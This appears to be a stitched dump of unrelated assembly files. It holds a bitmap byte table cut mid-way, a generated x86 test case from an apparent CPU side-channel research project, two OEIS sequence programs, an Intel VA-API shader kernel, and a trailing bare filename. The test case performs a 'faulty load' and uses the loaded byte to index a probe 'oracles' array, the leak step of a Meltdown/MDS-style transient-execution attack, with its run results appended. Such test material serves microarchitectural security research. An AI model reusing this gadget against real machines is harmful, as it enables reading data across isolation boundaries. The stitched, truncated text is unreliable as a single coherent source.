04Bh, 0F4h DB 003h, 06Eh, 03Dh, 0AFh, 0D1h, 013h, 069h, 005h DB 0C0h, 0A5h, 0FAh, 03Dh, 013h, 023h, 043h, 05Fh DB 094h, 0F7h, 0CAh, 0F8h, 027h, 007h, 065h, 096h DB 0C9h, 0EEh, 0C2h, 02Bh, 04Dh, 00Eh, 025h, 0A4h DB 0A0h, 056h, 0B1h, 0ACh, 05Ah, 04Dh, 0A0h, 0EBh DB 0F6h, 081h, 0C9h, 0A9h, 0B6h, 017h, 0A0h, 04Bh DB 075h, 09Bh, 060h, 08Fh, 028h, 024h, 00Fh, 04Bh DB 077h, 097h, 000h, 072h, 0DFh, 047h, 0A0h, 052h DB 055h, 047h, 0C0h, 0C4h, 0A7h, 064h, 0AEh, 0CEh DB 0A0h, 072h, 087h, 0A5h, 054h, 0C0h, 051h, 0EFh DB 01Ch, 007h, 091h, 0A0h, 0A6h, 0C2h, 0BAh, 0AFh DB 0A6h, 0D9h, 0C9h, 052h, 0F5h, 01Ch, 01Fh, 0BFh DB 047h, 013h, 029h, 059h, 027h, 0FEh, 0F9h, 024h DB 0A0h, 024h, 0A1h, 05Ah, 044h, 0A0h, 025h, 00Dh DB 04Ch, 06Fh, 042h, 02Bh, 0A3h, 005h, 04Ch, 04Dh DB 00Dh, 094h, 067h, 08Eh, 0A0h, 026h, 09Dh, 00Ch DB 024h, 0A0h, 07Ah, 0C5h, 0ACh, 04Ah, 05Dh, 02Fh DB 0DBh, 080h, 05Ah, 0FDh, 093h, 081h, 08Ch, 08Ah DB 0A0h, 0F5h, 0BEh, 08Eh, 0A0h, 04Fh, 012h, 0E6h DB 02Bh, 0A0h, 0B2h, 057h, 038h, 008h, 0A6h, 0BFh DB 053h, 0EFh, 037h, 0C4h, 029h, 0A9h, 02Ch, 03Dh DB 0A0h, 0A4h, 09Fh, 04Ah, 0C6h, 025h, 054h, 0C0h DB 05Ah, 058h, 047h, 057h, 0AEh, 0EAh, 07Eh, 0FBh DB 00Dh, 021h, 0A0h, 02Ah, 0E7h, 060h, 09Bh, 030h DB 0FCh, 0ABh, 08Eh, 086h, 05Ch, 061h, 0DFh, 03Eh DB 0C9h, 09Fh, 09Eh, 0E4h, 091h, 07Ah, 0F7h, 04Dh DB 090h, 0A9h, 010h, 0CAh, 059h, 010h, 04Eh, 0D3h DB 087h, 025h, 079h, 03Bh, 0A1h, 0A4h, 082h, 0A0h DB 00Eh, 004h, 04Bh, 079h, 059h, 0A4h, 06Bh, 085h DB 0C7h, 072h, 025h, 054h, 044h, 0D8h, 0BDh, 0E4h DB 0BBh, 0F9h, 00Ah, 059h, 0ACh, 0E5h, 075h, 0B6h DB 0FBh, 062h, 080h, 09Fh, 096h, 0B4h, 05Bh, 05Dh DB 0E8h, 0F6h, 0B5h, 0FBh, 0CAh, 040h, 0E4h, 08Dh DB 09Fh, 061h, 03Dh, 048h, 001h, 0AFh, 091h, 0A0h DB 07Fh, 02Bh, 0B2h, 0AFh, 0D0h, 06Eh, 098h, 092h DB 0BFh, 053h, 050h, 072h, 055h, 045h, 0C0h, 0B9h DB 043h, 0D7h, 0F8h, 0FAh, 0E4h, 0AEh, 0C8h, 0A0h DB 056h, 0E3h, 014h, 0ABh, 09Dh, 060h, 058h, 025h DB 0EEh, 067h, 05Fh, 002h, 09Eh, 054h, 008h, 08Eh DB 011h, 05Bh, 0B2h, 096h, 02Eh, 0A6h, 0C0h, 06Ah DB 001h, 055h, 012h, 0F6h, 0BAh, 065h, 059h, 0ABh DB 095h, 0CDh, 014h, 081h, 05Bh, 02Ah, 05Fh, 06Eh DB 092h, 0A0h, 025h, 00Ch, 04Bh, 05Dh, 03Ch, 0A1h DB 0BDh, 071h, 023h, 0B8h, 0DEh, 0FDh, 0F5h, 0CBh DB 0F7h, 012h, 007h, 0C2h, 019h, 0F7h, 0BEh, 0BBh DB 0FBh, 04Ah, 07Bh, 06Dh, 046h, 0BCh, 062h, 064h DB 071h, 083h, 071h, 068h, 052h, 0AFh, 0CCh, 085h DB 008h, 0A5h, 0FBh, 0CAh, 0A4h, 049h, 0A2h, 05Ah DB 0A7h, 082h, 0A3h, 049h, 04Bh, 0E9h, 025h, 0F5h DB 0FAh, 0C4h, 0A0h, 09Ah, 0F9h, 05Eh, 0E8h, 0C0h DB 0BAh, 0D2h, 035h, 068h, 0FAh, 0C8h, 0A0h, 04Eh DB 0BDh, 06Dh, 029h, 044h, 049h, 0AAh, 08Fh, 0C0h DB 05Eh, 0FDh, 020h, 0A7h, 0D9h, 01Ch, 047h, 05Ah DB 09Dh, 0E3h, 01Fh, 05Fh, 0F2h, 022h, 029h, 0A7h DB 025h, 04Dh, 0BDh, 0C7h, 09Ch, 0CEh, 0BFh, 04Ah DB 0A8h, 0E9h, 059h, 03Eh, 0F4h, 09Fh, 0A0h, 088h DB 007h, 008h, 056h, 00Eh, 028h, 0B3h, 05Ah, 05Bh DB 0E5h, 0A0h, 0A6h, 0BAh, 0E7h, 0C9h, 019h, 0A0h DB 00Bh, 002h, 049h, 036h, 093h, 0A1h, 088h, 054h DB 056h, 0C4h, 007h, 089h, 0A0h, 02Fh, 017h, 0A8h DB 0BCh, 0BBh, 06Ah, 0DBh, 0B5h, 05Ch, 0A3h, 05Dh DB 08Ah, 056h, 046h, 0A0h, 0C5h, 04Dh, 04Fh, 0A6h DB 0FBh, 07Dh, 080h, 032h, 0B6h, 017h, 04Ch, 00Fh DB 0EDh, 082h, 0E9h, 07Eh, 0E2h, 0EFh, 097h, 015h DB 0D8h, 0E7h, 09Ah, 086h, 047h, 0A0h, 056h, 09Ch DB 0DEh, 052h, 09Fh, 050h, 0A9h, 086h, 034h, 06Ah DB 08Ah, 09Fh, 048h, 046h, 0E9h, 077h, 029h, 058h DB 03Fh, 048h, 09Fh, 0A4h, 08Fh, 06Dh, 092h, 023h DB 0ACh, 057h, 02Ch, 003h, 0AEh, 03Dh, 05Fh, 026h DB 0EEh, 0C4h, 09Dh, 0BCh, 0E1h, 0D7h, 0D4h, 08Dh DB 087h, 0A1h, 0AFh, 070h, 0C4h, 007h, 04Dh, 099h DB 037h, 02Bh, 0BCh, 045h, 0ADh, 089h, 02Ah, 053h DB 055h, 033h, 0A1h, 092h, 09Dh, 07Ah, 0FBh, 0F2h DB 05Eh, 092h, 09Fh, 0ADh, 08Eh, 042h, 0F7h, 0A5h DB 0F5h, 049h, 07Fh, 09Eh, 022h, 09Fh, 075h, 09Bh DB 079h, 0C7h, 008h, 01Dh, 0F7h, 025h, 0A2h, 026h DB 0A1h, 071h, 087h, 0CBh, 0F5h, 035h, 000h, 07Ah DB 0F1h, 068h, 06Ah, 050h, 07Ch, 0B1h, 03Eh, 0E4h DB 007h, 08Fh, 079h, 0D7h, 0EBh, 024h, 01Eh, 0E7h DB 068h, 071h, 05Dh, 0A7h, 0AEh, 0B9h, 0C5h, 09Fh DB 0AFh, 08Ah, 078h, 0FDh, 0A5h, 001h, 0DAh, 044h DB 0F8h, 0E3h, 07Eh, 0A1h, 021h, 02Eh, 075h, 0CCh DB 052h, 086h, 077h, 0A1h, 05Bh, 09Bh, 078h, 04Ah DB 024h, 0EFh, 02Bh, 0E8h, 048h, 0A0h, 069h, 04Ah DB 066h, 0A9h, 035h, 0A6h, 00Fh, 011h, 0E1h, 04Bh DB 026h, 0FDh, 0E1h, 0A6h, 04Fh, 023h, 09Fh, 0D6h DB 03Ah, 0BEh, 048h, 0A2h, 05Fh, 0ECh, 097h, 0A4h DB 08Fh, 0A0h, 0B5h, 0EBh, 0C5h, 064h, 0B8h, 004h DB 0FEh, 049h, 0A0h, 0EDh, 03Ch, 0C9h, 02Dh, 056h DB 05Eh, 074h, 07Eh, 095h, 051h, 0C0h, 06Eh, 029h DB 0F6h, 035h, 078h, 097h, 007h, 016h, 0B7h, 08Ah DB 008h, 024h, 0A7h, 070h, 0DEh, 091h, 09Fh, 0F6h DB 0A2h, 058h, 057h, 044h, 059h, 0A2h, 098h, 0ECh DB 0CBh, 0B6h, 043h, 0C9h, 063h, 084h, 0A2h, 00Eh DB 0F5h, 035h, 038h, 092h, 04Ah, 0B1h, 02Bh, 023h DB 0A1h, 01Dh, 0EFh, 00Fh, 0E4h, 0CCh, 02Bh, 05Dh DB 071h, 05Fh, 046h, 08Eh, 052h, 0B7h, 0F2h, 0BBh DB 0A2h, 0B4h, 0CDh, 0F1h, 04Bh, 0ABh, 059h, 0FEh DB 023h, 0D6h, 093h, 0A0h, 05Bh, 0EAh, 008h, 014h DB 042h, 04Ah, 0BBh, 055h, 0ACh, 026h, 0A0h, 0A5h DB 038h, 084h, 04Fh, 056h, 0EFh, 0EAh, 0A2h, 0EFh DB 0F8h, 0E2h, 0E2h, 056h, 0BDh, 0DBh, 0CDh, 012h DB 05Fh, 06Bh, 012h, 069h, 04Fh, 01Fh, 09Fh, 0CEh DB 033h, 0A1h, 0E7h, 022h, 09Fh, 048h, 01Eh, 0A4h DB 0A1h, 067h, 04Ch, 0BDh, 04Eh, 0E5h, 027h, 0A0h DB 0B2h, 053h, 00Eh, 032h, 0B4h, 0CEh, 0AFh, 056h DB 00Fh, 08Dh, 0F4h, 0C2h, 0E3h, 09Fh, 0A9h, 08Eh DB 084h, 054h, 05Dh, 0DEh, 053h, 0DAh, 04Ch, 053h DB 0FAh, 0AFh, 0DEh, 040h, 07Dh, 0A4h, 050h, 016h DB 09Dh, 0E3h, 004h, 0F9h, 06Dh, 012h, 0B1h, 001h DB 00Eh, 02Ah, 0EDh, 08Dh, 0F4h, 0ADh, 0A1h, 0EDh DB 02Ah, 0ECh, 0C6h, 0B9h, 04Bh, 001h, 05Ch, 085h DB 04Bh, 0A8h, 00Bh, 0D5h, 027h, 08Ah, 00Fh, 05Fh DB 0DAh, 094h, 027h, 0D5h, 018h, 047h, 0ADh, 04Ah DB 058h, 0D3h, 014h, 0BCh, 097h, 0F2h, 049h, 0DCh DB 045h, 0CAh, 0AEh, 0FCh, 0A5h, 025h, 0B9h, 056h DB 06Eh, 0E4h, 0D5h, 053h, 094h, 01Ah, 0ABh, 0B0h DB 026h, 05Fh, 0A1h, 001h, 09Fh, 00Ch, 0A7h, 0BFh DB 05Bh, 0F8h, 04Bh, 0FEh, 023h, 044h, 00Eh, 07Fh DB 055h, 0F5h, 04Bh, 0D7h, 092h, 0AFh, 09Bh, 0A0h DB 0E5h, 05Ch, 051h, 066h, 07Eh, 02Fh, 01Ah, 0AFh DB 0FFh, 0C2h, 038h, 057h, 059h, 0E0h, 074h, 0A3h DB 033h, 095h, 04Ah, 029h, 056h, 03Ah, 0CEh, 050h DB 0D7h, 098h, 0F9h, 055h, 092h, 047h, 0A5h, 027h DB 0B5h, 02Ch, 069h, 060h, 059h, 010h, 0F9h, 00Ch DB 059h, 047h, 0A9h, 027h, 04Ah, 04Ah, 001h, 0ABh DB 010h, 06Ah, 058h, 066h, 054h, 0B3h, 095h, 03Ch DB 087h, 090h, 07Ch, 0D5h, 0AAh, 0AEh, 0E9h, 04Bh DB 025h, 06Ah, 0DAh, 06Ch, 07Ah, 0B6h, 0B5h, 0FBh DB 049h, 05Dh, 02Bh, 0A9h, 040h, 0E9h, 07Fh, 0CAh DB 023h, 0F4h, 0AEh, 0B3h, 0E0h, 094h, 06Ah, 0DDh DB 0E5h, 075h, 0BDh, 0E0h, 0ECh, 0A5h, 00Bh, 053h DB 055h, 001h, 04Ah, 0FAh, 075h, 05Eh, 015h, 084h DB 085h, 0FDh, 02Bh, 0E8h, 06Ch, 04Ah, 0FAh, 029h DB 046h, 059h, 03Bh, 04Dh, 00Ch, 03Ah, 0A5h, 02Ch DB 04Bh, 027h, 052h, 025h, 0DFh, 069h, 035h, 0CDh DB 04Eh, 049h, 046h, 0B5h, 024h, 090h, 02Bh, 001h DB 0D7h, 01Ah, 023h, 0B2h, 05Ch, 028h, 054h, 0E2h DB 04Ch, 09Ah, 0D1h, 097h, 0BFh, 0EDh, 029h, 025h DB 029h, 0B4h, 05Ah, 0BCh, 0B5h, 0DCh, 0BBh, 066h DB 07Ah, 059h, 04Eh, 00Bh, 04Ah, 0EFh, 07Dh, 0D5h DB 07Eh, 0F2h, 041h, 0B9h, 0A9h, 0AAh, 05Ah, 0CBh DB 0F7h, 029h, 0F0h, 05Fh, 0CFh, 0C1h, 0D2h, 057h DB 0FBh, 071h, 04Bh, 0F4h, 069h, 057h, 01Bh, 00Ah DB 003h, 028h, 04Eh, 04Bh, 0F9h, 0A7h, 03Ah, 0ABh DB 00Ch, 012h, 053h, 0BFh, 0CBh, 0D3h, 04Ah, 0FFh DB 03Fh, 0D1h, 07Fh, 093h, 011h, 036h, 040h, 042h DB 0F1h, 00Eh, 056h, 001h, 0F5h, 0ADh, 043h, 0F4h DB 0A3h, 0F2h, 072h, 0B7h, 015h, 06Eh, 06Dh, 04Bh DB 0ABh, 0D8h, 0B4h, 0B5h, 0DAh, 03Fh, 0B5h, 069h DB 0BBh, 09Ch, 07Ah, 048h, 04Dh, 0C4h, 0F7h, 0FAh DB 001h, 0C9h, 02Bh, 09Dh, 0FEh, 023h, 057h, 025h DB 0D5h, 02Ah, 060h, 0E9h, 0DBh, 0FCh, 09Fh, 09Fh DB 0B6h, 0A5h, 057h, 053h, 001h, 067h, 0ADh, 04Ah DB 01Bh, 051h, 0A8h, 076h, 097h, 05Ch, 0EBh, 0D2h DB 09Ch, 001h, 0BDh, 0E2h, 00Bh, 09Ch, 027h, 04Bh DB 053h, 0AEh, 068h, 0EDh, 04Bh, 0A5h, 027h, 0B8h DB 0D6h, 047h, 0E5h, 02Ah, 001h, 012h, 04Ah, 049h DB 03Ah, 07Ch, 02Dh, 00Ah, 015h, 008h, 06Dh, 077h DB 05Fh, 0B4h, 0D5h, 05Dh, 089h, 00Ah, 09Fh, 054h DB 025h, 0D7h, 016h, 055h, 091h, 01Ch, 05Eh, 0A2h DB 02Fh, 047h, 01Ch, 0A4h, 00Fh, 0ABh, 001h, 0F4h DB 047h, 053h, 021h, 052h, 016h, 04Ah, 0F2h, 0E8h DB 0FDh, 0AAh, 052h, 0F8h, 0A7h, 03Bh, 0B5h, 015h DB 0FBh, 09Fh, 069h, 03Eh, 00Ah, 052h, 026h, 0D2h DB 0EEh, 0C9h, 0F5h, 05Ch, 00Dh, 049h, 097h, 033h DB 0E7h, 048h, 026h, 09Eh, 0BBh, 06Bh, 04Eh, 0C7h DB 0F0h, 065h, 00Ah, 0B2h, 0A9h, 0BCh, 04Ah, 0A5h DB 0B4h, 0EAh, 0B5h, 0DBh, 04Ch, 0BBh, 07Ah, 0F8h DB 04Bh, 097h, 076h, 041h, 05Ah, 045h, 069h, 0F2h DB 05Dh, 0F0h, 0E0h, 0A5h, 05Bh, 034h, 0B8h, 08Ah DB 0A0h, 0ACh, 052h, 0A7h, 001h, 0A5h, 071h, 069h DB 0DCh, 0A7h, 001h, 04Dh, 032h, 04Ah, 026h, 0E6h DB 04Fh, 0AFh, 020h, 04Dh, 0B1h, 04Ah, 099h, 0B5h DB 017h, 03Eh, 0CBh, 04Ah, 0A7h, 049h, 071h, 05Fh DB 04Ah, 05Dh, 0FEh, 093h, 0C6h, 069h, 07Dh, 045h DB 082h, 0AEh, 0A5h, 075h, 0A9h, 0D2h, 053h, 048h DB 0B4h, 0A0h, 0BEh, 088h, 049h, 055h, 04Dh, 030h DB 023h, 0C6h, 0BDh, 023h, 0A0h, 0BDh, 02Fh, 0F8h DB 0ABh, 0F9h, 04Bh, 0ABh, 0B7h, 03Ah, 08Eh, 055h DB 0B9h, 057h, 0B4h, 0A2h, 04Ah, 05Fh, 079h, 0C0h DB 0F4h, 09Bh, 0F0h, 074h, 091h, 0A0h, 07Ch, 071h DB 049h, 087h, 07Bh, 048h, 002h, 046h, 0ABh, 056h DB 025h, 094h, 00Eh, 0A4h, 0EAh, 0A6h, 001h, 092h DB 02Fh, 09Eh, 092h, 0FEh, 0CAh, 0BEh, 0F6h, 003h DB 093h, 0C6h, 072h, 09Fh, 06Dh, 035h, 0BAh, 09Eh DB 0F4h, 092h, 0FFh, 09Ah, 077h, 0B6h, 087h, 09Bh DB 0F0h, 054h, 0AFh, 050h, 0C9h, 07Fh, 067h, 0B0h DB 0F2h, 05Fh, 0FBh, 0EBh, 0DCh, 0AAh, 028h, 0BFh DB 020h, 025h, 0FFh, 017h, 080h, 069h, 07Ch, 056h DB 05Fh, 029h, 08Eh, 076h, 0AFh, 0B4h, 0C9h, 03Dh DB 050h, 049h, 017h, 0A0h, 0FBh, 084h, 07Fh, 092h DB 03Fh, 0C6h, 092h, 02Ah, 09Eh, 0A4h, 0DFh, 089h DB 0B4h, 0CFh, 054h, 0F4h, 08Fh, 050h, 0F9h, 04Bh DB 001h, 0BAh, 093h, 03Eh, 020h, 0E5h, 02Ah, 001h DB 0BEh, 0FDh, 080h, 000h Size_Bitmap = $ - @BitMap
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2576.asm
ljhsiun2/medusa
9
168622
<filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2576.asm<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r15 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x182cd, %rsi lea addresses_WC_ht+0x3179, %rdi nop nop nop nop nop cmp %rbx, %rbx mov $109, %rcx rep movsb nop nop and %r9, %r9 lea addresses_normal_ht+0xee9d, %rsi lea addresses_D_ht+0x1092d, %rdi clflush (%rsi) nop nop nop sub %r9, %r9 mov $56, %rcx rep movsq nop nop and $49751, %rcx lea addresses_normal_ht+0x1998d, %rax nop nop nop nop and $52561, %r15 mov $0x6162636465666768, %rcx movq %rcx, %xmm0 movups %xmm0, (%rax) nop nop nop cmp %r9, %r9 lea addresses_D_ht+0x81cd, %rsi nop inc %rdi movb $0x61, (%rsi) nop nop nop cmp $33850, %r9 lea addresses_normal_ht+0x36fd, %r15 nop sub $20314, %r9 movw $0x6162, (%r15) nop nop nop and $48682, %rdi lea addresses_WC_ht+0x38cd, %rsi lea addresses_A_ht+0x164ba, %rdi inc %rax mov $117, %rcx rep movsb nop xor %rsi, %rsi lea addresses_WC_ht+0x42cd, %r15 clflush (%r15) nop xor %rax, %rax mov $0x6162636465666768, %rcx movq %rcx, %xmm6 and $0xffffffffffffffc0, %r15 vmovaps %ymm6, (%r15) nop add %r9, %r9 lea addresses_UC_ht+0x19bcd, %rsi nop cmp %rcx, %rcx mov (%rsi), %rdi nop nop nop nop add %r9, %r9 lea addresses_normal_ht+0x1634d, %r15 nop and %rbx, %rbx movl $0x61626364, (%r15) nop nop nop cmp %rdi, %rdi lea addresses_normal_ht+0x11085, %r15 nop nop nop nop nop add %rax, %rax mov $0x6162636465666768, %r9 movq %r9, (%r15) cmp %r9, %r9 lea addresses_A_ht+0xe7cd, %rsi lea addresses_WC_ht+0xac5d, %rdi nop nop xor %r15, %r15 mov $20, %rcx rep movsl nop cmp $40216, %rdi lea addresses_WC_ht+0x19cd, %rdi sub %r15, %r15 movb $0x61, (%rdi) nop add $24513, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r15 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r15 push %r8 push %r9 push %rbp push %rdx // Store lea addresses_RW+0x40cd, %r8 nop nop nop nop dec %r9 mov $0x5152535455565758, %r10 movq %r10, %xmm1 vmovups %ymm1, (%r8) nop sub %r15, %r15 // Faulty Load lea addresses_PSE+0x18acd, %r10 nop nop nop nop nop and $59063, %r15 movb (%r10), %r9b lea oracles, %r8 and $0xff, %r9 shlq $12, %r9 mov (%r8,%r9,1), %r9 pop %rdx pop %rbp pop %r9 pop %r8 pop %r15 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': True, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
programs/oeis/267/A267783.asm
neoneye/loda
22
105293
<filename>programs/oeis/267/A267783.asm ; A267783: Number of n X 3 0..1 arrays with every repeated value in every row greater than or equal to, and in every column greater than, the previous repeated value. ; 8,64,216,729,1728,4096,8000,15625,27000,46656,74088,117649,175616,262144,373248,531441,729000,1000000,1331000,1771561,2299968,2985984,3796416,4826809,6028568,7529536,9261000,11390625,13824000,16777216,20123648,24137569,28652616,34012224,40001688,47045881,54872000,64000000,74088000,85766121,98611128,113379904,129554216,148035889,168196608,191102976,216000000,244140625,274625000,308915776,345948408,387420489,432081216,481890304,535387328,594823321,658503000,729000000,804357000,887503681,976191488,1073741824,1177583616,1291467969,1412467848,1544804416,1685159000,1838265625,2000376000,2176782336,2363266368,2565726409,2779431416,3010936384,3254952168,3518743761,3796416000,4096000000,4410944000,4750104241,5106219048,5489031744,5890514616,6321363049,6772724288,7256313856,7762392000,8303765625,8869743000,9474296896,10105715528,10779215329,11481993216,12230590464,13011038208,13841287201,14706125000,15625000000,16581375000,17596287801 add $0,3 mov $1,$0 lpb $1 pow $0,2 div $0,4 mod $1,1 lpe pow $0,3
programs/oeis/081/A081350.asm
karttu/loda
0
168980
; A081350: First column in maze array of natural numbers A081349. ; 1,2,3,4,15,16,35,36,63,64,99,100,143,144,195,196,255,256,323,324,399,400,483,484,575,576,675,676,783,784,899,900,1023,1024,1155,1156,1295,1296,1443,1444,1599,1600,1763,1764,1935,1936,2115,2116,2303,2304,2499,2500,2703,2704,2915,2916,3135,3136,3363,3364,3599,3600,3843,3844,4095,4096,4355,4356,4623,4624,4899,4900,5183,5184,5475,5476,5775,5776,6083,6084,6399,6400,6723,6724,7055,7056,7395,7396,7743,7744,8099,8100,8463,8464,8835,8836,9215,9216,9603,9604,9999,10000,10403,10404,10815,10816,11235,11236,11663,11664,12099,12100,12543,12544,12995,12996,13455,13456,13923,13924,14399,14400,14883,14884,15375,15376,15875,15876,16383,16384,16899,16900,17423,17424,17955,17956,18495,18496,19043,19044,19599,19600,20163,20164,20735,20736,21315,21316,21903,21904,22499,22500,23103,23104,23715,23716,24335,24336,24963,24964,25599,25600,26243,26244,26895,26896,27555,27556,28223,28224,28899,28900,29583,29584,30275,30276,30975,30976,31683,31684,32399,32400,33123,33124,33855,33856,34595,34596,35343,35344,36099,36100,36863,36864,37635,37636,38415,38416,39203,39204,39999,40000,40803,40804,41615,41616,42435,42436,43263,43264,44099,44100,44943,44944,45795,45796,46655,46656,47523,47524,48399,48400,49283,49284,50175,50176,51075,51076,51983,51984,52899,52900,53823,53824,54755,54756,55695,55696,56643,56644,57599,57600,58563,58564,59535,59536,60515,60516,61503,61504 mov $2,$0 mul $0,2 mov $3,$2 add $3,1 sub $0,$3 mov $1,$3 sub $3,$3 lpb $0,1 sub $0,1 trn $0,1 add $1,$3 trn $3,2 add $3,10 lpe
src/shaders/post_processing/gen5_6/rgbx_load_save_nv12.asm
me176c-dev/android_hardware_intel-vaapi-driver
192
7363
<filename>src/shaders/post_processing/gen5_6/rgbx_load_save_nv12.asm // Module name: RGBX_LOAD_SAVE_NV12 .kernel RGBX_LOAD_SAVE_NV12 .code #define FIX_POINT_CONVERSION // #define FLOAT_POINT_CONVERSION #include "SetupVPKernel.asm" #include "RGBX_to_YUV_Coef.asm" #include "Multiple_Loop_Head.asm" #include "RGBX_Load_16x8.asm" #ifdef FIX_POINT_CONVERSION #include "RGBX_Save_YUV_Fix.asm" #else #include "RGBX_Save_YUV_Float.asm" #endif #include "PL16x8_PL8x4.asm" #include "PL8x4_Save_NV12.asm" #include "Multiple_Loop.asm" END_THREAD // End of Thread .end_code .end_kernel // end of rgbx_load_save_nv12.asm
programs/oeis/137/A137913.asm
neoneye/loda
22
